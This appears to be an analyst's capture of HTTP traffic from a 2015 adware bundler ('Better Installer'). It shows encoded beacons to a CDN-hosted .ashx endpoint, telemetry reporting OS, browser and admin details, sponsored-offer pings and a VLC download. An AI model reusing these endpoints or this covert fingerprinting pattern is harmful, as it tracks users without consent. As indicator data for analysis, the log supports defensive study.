GET /24100.ashx?e=KC52kqqAunBxTgq6wZuT6yMSZph5W2w5jA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvN7Jp hM47FGjM1N26ynjad0t8mBLx4RCPtTfdjoDFbC8ycPR kQjzMFHmS0Zrngqa/u6z7Uinv/h1kkBdu6EZ0UCN9h bV19VmEkFygc5PV l8LS18/7YS7PiCC4paVhd7GKnBbIY8FBFpTldfxcKbOIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZTq8 dGsNZDKp3T9jBPYgM5LpGnU keYEooq3qYbcu/eWAYnRIgrtlY= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:42 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /24100.ashx?e=hpY1rXLYst6pJ45fVU/vC4Fc4EnZ34NR5q9ijZdZycpAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bSNFY6Ws1wbQ6Hb3b0n5oxdzhxFIAXER6dVI/4dLCBO4CvSnBgPe66t1JJpRAUOpYSeY/e3xqcYN9oGiWTaeRqbLhu0b45kiT/mJXdux5Fvl9n5EWJRAEnQKYX3Ti/i3YP1b661ON6JHo8ELrHrpRwVw1PcYrVm0Q9XQ9J8KSs5a4MNpNQo19uHgy6YlW82m1mJd/JSmlPgygFakk3mKHZ8nZ92R8WPtSPD39uruDJE98eAAVArKptKUdW1y396VwWkTqbSbpNNR48UBgfn/EdyjMb3M1eFmdc2 Le3/eDB Eeu2KCTq4AUbl4e0/dEFirVXgd6TQBX2bwyCrtkSlvF94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsFCY9606Z0PbLSyk7ROMFjmgdhMywCxX30tiOZna9twfgnEUI3F8cgw== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:42 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /24100.ashx?e=hpY1rXLYst6pJ45fVU/vC4Fc4EnZ34NR5q9ijZdZycpAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bSNFY6Ws1wbQ6Hb3b0n5oxdzhxFIAXER6dVI/4dLCBO4CvSnBgPe66t1JJpRAUOpYSeY/e3xqcYN9oGiWTaeRqbLhu0b45kiT AW1ilHO0XlqaFGmNQisoEs IILilpWF0xvNRnLf/zkL0gMjSgdVjaBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLuMJy0xIEki/R/TArjXZXIKNewYKwONFevRrV2mGBDo3Vd0xgaUB0loXwql6nKegU HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:42 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /24100.ashx?e=hpY1rXLYst6pJ45fVU/vC4Fc4EnZ34NR5q9ijZdZycpAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bSNFY6Ws1wbQ6Hb3b0n5oxdzhxFIAXER6dVI/4dLCBO4CvSnBgPe66t1JJpRAUOpYSeY/e3xqcYN9oGiWTaeRqbLhu0b45kiT8FwTBnjqtB6SJSQWKLfKoAjgb6v7cXpPvdDLE kFDLYhxZg1qpOAgFszaHxLtpNrnYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaTEAacl7qjMpIdauJDKz14EU2/THngAx1bEmURjAjgjXToRgV0xrPXzobjJJ1f3pO HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:42 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /24100.ashx?e=R278SAfkg0VxTgq6wZuT652HXSSUTHq9jA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvN7Jp hM47FGjM1N26ynjad0t8mBLx4RCPtTfdjoDFbC8ycPR kQjzMFHmS0Zrngqa/u6z7Uinv/h1kkBdu6EZ0a1yMTX l/6fSl3u293svNWe4QpoO1WcaCmF904v4t2DgqN0HT1lsgmM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUut pOfahmLVOFYQdPhXtrzaAsY7JMnPrl5ziyfh9EnegKQwdxoo6P6 HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:43 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Sun, 26 Apr 2015 23:55:43 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /monetization.gif?event=3&ibic=d5d8d8a61601751d467a5854a16ce35aIE&verifier=e9d6e2e9e6a34b6d6a4be51af1aeacc2&campaign=000805&country=ua&app=70299&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1430092564&asw=0_1073750533_-2147474944_34816&browser=ff&rnd=1430092564 HTTP/1.1
Host: logs.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:56:09 GMT
Keep-Alive: timeout=10, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1389114507"
Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT
Cache-Control: max-age=86400
Content-Length: 35
Content-Type: image/gif
X-HW: 1430092569.dop005.am4.t,1430092569.cds058.am4.c
GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Sun, 26 Apr 
2015 23:56:09 GMT..Keep-Alive: timeout=10, max=100..Connection: Keep-A
live..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07
 Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 
35..Content-Type: image/gif..X-HW: 1430092569.dop005.am4.t,1430092569.
cds058.am4.c..GIF89a.............,...........D..;..



GET /utility.gif?report=fdata&f=1&c=000805&i=100&n=init_start_funnel_step_name&rnd=1430092564 HTTP/1.1
Host: errors.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: qwwbUIHu3bmQWlHHyoUc6KeKd8H6/vs0hid9WwwkbEs3G pR azmbD4eWN0lcXCK
x-amz-request-id: 0C915D90D7251BAE
Date: Sun, 26 Apr 2015 23:56:07 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: qwwbUI
Hu3bmQWlHHyoUc6KeKd8H6/vs0hid9WwwkbEs3G pR azmbD4eWN0lcXCK..x-amz-requ
est-id: 0C915D90D7251BAE..Date: Sun, 26 Apr 2015 23:56:07 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /installer-error.gif?action=sesamy&app=70299&appver=0&ver=1_36_01_22&version_date=15-04-26&bic=d5d8d8a61601751d467a5854a16ce35aIE&verifier=e9d6e2e9e6a34b6d6a4be51af1aeacc2&upi=d5d8d8a61601751d467a5854a16ce35a&procid=40799C6222B1449CBD91767DC3DCC57BPI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFF3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&error=0&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147474944&asw4=34816&crtnm=na&procstarttime=1430092564&procruntime=3&rnd=1430092567 HTTP/1.1


Host: errors.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: ch1F/Bqe2b6jVdBTKlxASBXRGDFWjXyA 2P BT1uPaXS6coCcknadC28jzZiSyvn
x-amz-request-id: 5E60395271C2214C
Date: Sun, 26 Apr 2015 23:56:09 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:13:40 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: ch1F/B
qe2b6jVdBTKlxASBXRGDFWjXyA 2P BT1uPaXS6coCcknadC28jzZiSyvn..x-amz-requ
est-id: 5E60395271C2214C..Date: Sun, 26 Apr 2015 23:56:09 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:13:40 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=200&n=init_end_funnel_step_name&rnd=1430092568 HTTP/1.1


Host: errors.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: NJal/6104fFecwj4nofqEAKRjN2SfyHU5qvjMtk NkgVDc/dcRjblJjs1s7WVTQI
x-amz-request-id: AA411BE9E02A9BDA
Date: Sun, 26 Apr 2015 23:56:10 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=300&n=deploy_start_funnel_step_name&rnd=1430092571 HTTP/1.1


Host: errors.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: Ux6RG4dYxprWyGhT3jXCshquHd6KRbHC7PHxVskz5YojdYraFqpX8XdAIfboIUcQ
x-amz-request-id: 62ABB2F5EA87541B
Date: Sun, 26 Apr 2015 23:56:14 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: Ux6RG4
dYxprWyGhT3jXCshquHd6KRbHC7PHxVskz5YojdYraFqpX8XdAIfboIUcQ..x-amz-requ
est-id: 62ABB2F5EA87541B..Date: Sun, 26 Apr 2015 23:56:14 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=400&n=deploy_verifier_start_funnel_step_name&rnd=1430092572 HTTP/1.1


Host: errors.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: V7Hfv85nekyuTkml6/CJ6fIZsUMF7XDEwiGOIzVa XAOLbFFVy4sCRp9rtJoi4oh
x-amz-request-id: 01E95D8073781DBE
Date: Sun, 26 Apr 2015 23:56:15 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: V7Hfv8
5nekyuTkml6/CJ6fIZsUMF7XDEwiGOIzVa XAOLbFFVy4sCRp9rtJoi4oh..x-amz-requ
est-id: 01E95D8073781DBE..Date: Sun, 26 Apr 2015 23:56:15 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=500&n=deploy_notification_start_funnel_step_name&rnd=1430092573 HTTP/1.1


Host: errors.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: NvzxZ40A0pxzZLTJnqRT1lit7tQ0gDGmqCMoG/iSC1wATUctVhVrbl2kdd36NsRg
x-amz-request-id: 0D290B83F47248C1
Date: Sun, 26 Apr 2015 23:56:15 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1430092573 HTTP/1.1


Host: errors.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: ms1wHwA/H UTJjC8iWxk8gjOZ/cuUWG738HuwGdmOQxzEV8cuqhX6bKn K/YfIz1
x-amz-request-id: 5EF0039F2292E7D0
Date: Sun, 26 Apr 2015 23:56:15 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=700&n=deploy_ch_start_funnel_step_name&rnd=1430092573 HTTP/1.1


Host: errors.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: jHR/zWh kPzl9absF YLZP9Xe0kp1rRx xd5MeSUUEBcpMGdAuBYGHZbi947yaHq
x-amz-request-id: 023C6738AF14C543
Date: Sun, 26 Apr 2015 23:56:15 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=800&n=deploy_nova_start_funnel_step_name&rnd=1430092573 HTTP/1.1


Host: errors.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: 8L hWNCTt7OGmuZ1c9sPUyJck 2q7maIK/ng46b0icdxF5UHkfC2GIiQCynV3FB6
x-amz-request-id: 44230CCF8920E2E6
Date: Sun, 26 Apr 2015 23:56:16 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=900&n=deploy_ff_start_funnel_step_name&rnd=1430092573 HTTP/1.1


Host: errors.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: MnkALgQ7oNuaT/dMSymMraXDrsLre4Mo221P86SHmrv/aLoIGwuAgq8H5ejvYq9R
x-amz-request-id: D348C7DBF37EE28A
Date: Sun, 26 Apr 2015 23:56:16 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: MnkALg
Q7oNuaT/dMSymMraXDrsLre4Mo221P86SHmrv/aLoIGwuAgq8H5ejvYq9R..x-amz-requ
est-id: D348C7DBF37EE28A..Date: Sun, 26 Apr 2015 23:56:16 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=950&n=deploy_nova_ie_start_funnel_step_name&rnd=1430092576 HTTP/1.1


Host: errors.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: XyOPe6sTAQZL1HxolbiNmQO2GGLqkVc4TQNNztdq2uxem1fUb6TzBKMZRXzyuaWc
x-amz-request-id: 6C12790DEBE8844A
Date: Sun, 26 Apr 2015 23:56:18 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=1000&n=deploy_ie_start_funnel_step_name&rnd=1430092576 HTTP/1.1


Host: errors.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: E3OQ07epNrE/EEeSOOw8U3pMK0mUgbIPTs/VFQ 5QIFsa6OFB0Kc3gdjo5iwUayJ
x-amz-request-id: C4A72C194F2FDFEB
Date: Sun, 26 Apr 2015 23:56:19 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=1100&n=deploy_updater_start_funnel_step_name&rnd=1430092576 HTTP/1.1


Host: errors.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: MeTiYWCOscORSrWkMkv7QKW0wFjxi210daQyc/73hyA8P9tv8db8KbhOOjMQE4I2
x-amz-request-id: 2D1FA79E2EEFB283
Date: Sun, 26 Apr 2015 23:56:19 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: MeTiYW
COscORSrWkMkv7QKW0wFjxi210daQyc/73hyA8P9tv8db8KbhOOjMQE4I2..x-amz-requ
est-id: 2D1FA79E2EEFB283..Date: Sun, 26 Apr 2015 23:56:19 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1430092577 HTTP/1.1


Host: errors.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: WoMBWXDxdWjnghqVdeBEzZ0DyN bV2hEzhQHrbo2K2aeUfw22qytU9NMqd53cvpw
x-amz-request-id: 74084391C8016B67
Date: Sun, 26 Apr 2015 23:56:20 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;....


GET /utility.gif?report=fdata&f=1&c=000805&i=10000&n=deploy_end_funnel_step_name&rnd=1430092577 HTTP/1.1


Host: errors.localkeymappeer.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
x-amz-id-2: 5b25Fhsl5PSK1f7Xshs/N7nw07vRnfDz3mK6aYu6d1OuXPCxzrgQfsScq0kQVNRh
x-amz-request-id: BBB4C3860610C8AE
Date: Sun, 26 Apr 2015 23:56:20 GMT
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-cache, must-revalidate
Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT
ETag: "28d6814f309ea289f847c69cf91194c6"
Content-Type: image/gif
Content-Length: 35
Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: 5b25Fh
sl5PSK1f7Xshs/N7nw07vRnfDz3mK6aYu6d1OuXPCxzrgQfsScq0kQVNRh..x-amz-requ
est-id: BBB4C3860610C8AE..Date: Sun, 26 Apr 2015 23:56:20 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:13:51 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;..



GET /31984.ashx?e=M7A8vgjJHrgLjT49fHfOTGc d7PLjgjl/WD6e6SZIIHeyzV7AofXlhYwsCIys4jFl9RbU5Ar lw2tFXUOU/Qs Lt6BhzfOsDBXnWkuh5LzaUfdGpw3nUglF9z0WypnnGstnhkcefCVXiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvfwqbgkyABd HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:55 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Sun, 26 Apr 2015 23:55:55 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /31984.ashx?e=M7A8vgjJHrgLjT49fHfOTGc d7PLjgjl/WD6e6SZIIHeyzV7AofXlhYwsCIys4jFl9RbU5Ar lw2tFXUOU/Qs Lt6BhzfOsD0FbaakihgO1P17LdzRwGrcSywkF18Bl8YJpucY5gZaR711If7ZLdKSAZ5SkcchaJJJ9Fy4h9HR9S7QojUgCmBeLyj8PdRsUbl13ytKzY3bawADzuWvml5Co96KQrvxHzFtz73aJdyQ8sj2VHenQSi 0LhpxXD4t4eCmOKii sWodZTjDiKj8nmywgV52R4NzBT4DqSJhyM3mODCqGlX7dFUAApkcaIS JCt 1flRJrt9ecNw3qM44/lSIKq0UdoUdMm3hqMstJ/y06twORtLg9fHR9A6p3upOM0S4XWXQNckrM9d9qKvEIr3HFOHwspCpHCT5GIrHKeu8rYnA8EzX4JIE87/jfWsid6KRE16wYsqtKrDF7mr6U IgqjBtPrQZNslBbwbrzm8HqzDlA5LEOcQDW2ub8rgHR1BOlQeSG TPkAVkd2bb1HMP2IfnNA/cEXCuD7ISRf2T mvjIH/Ay5ismV6Zmv0elWnPCijCkMjOCgw2BVJmqqAREsAc88Fmq6Wr4EL4IXiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmvfwqbgkyABd HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:55 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Sun, 26 Apr 2015 23:55:55 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......



GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=c68f2d2eb068de4eb4b99d4758c25a2f&uniqid=f3a31b785aef97068400d0987e8505fa&affiliate_id=premium_downloader&software_id=premium_downloader&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=e36bae18e9e1cb96233109bdc133f100&tokyo_csrf2_timestamp=1430092484&slot_number=2&index_in_screen=1&index_in_session=2&display_height=80&0.47923943233087895 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/premium_downloader/premium_downloader/c68f2d2eb068de4eb4b99d4758c25a2f?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Sun, 26 Apr 2015 23:54:54 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Sun, 26 Apr 2015 23:54:54 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.istartsurf.hp HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Sun, 26 Apr 2015 23:55:25 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.62 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sun, 26 Apr 20
15 23:55:25 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.62 ms","message":"store 1 ac
tion and 0 update "}..0..



GET /project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=8592247-
User-Agent: Better Installer(Mozilla)
Host: garr.dl.sourceforge.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 302 Moved Temporarily
Server: nginx/1.8.0
Date: Sun, 26 Apr 2015 23:54:55 GMT
Content-Type: text/html
Content-Length: 160
Connection: keep-alive
Location: hXXp://cdn.mirror.garr.it/sf/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe
<html>..<head><title>302 Found</title></hea
d>..<body bgcolor="white">..<center><h1>302 Found
</h1></center>..<hr><center>nginx/1.8.0</ce
nter>..</body>..</html>....



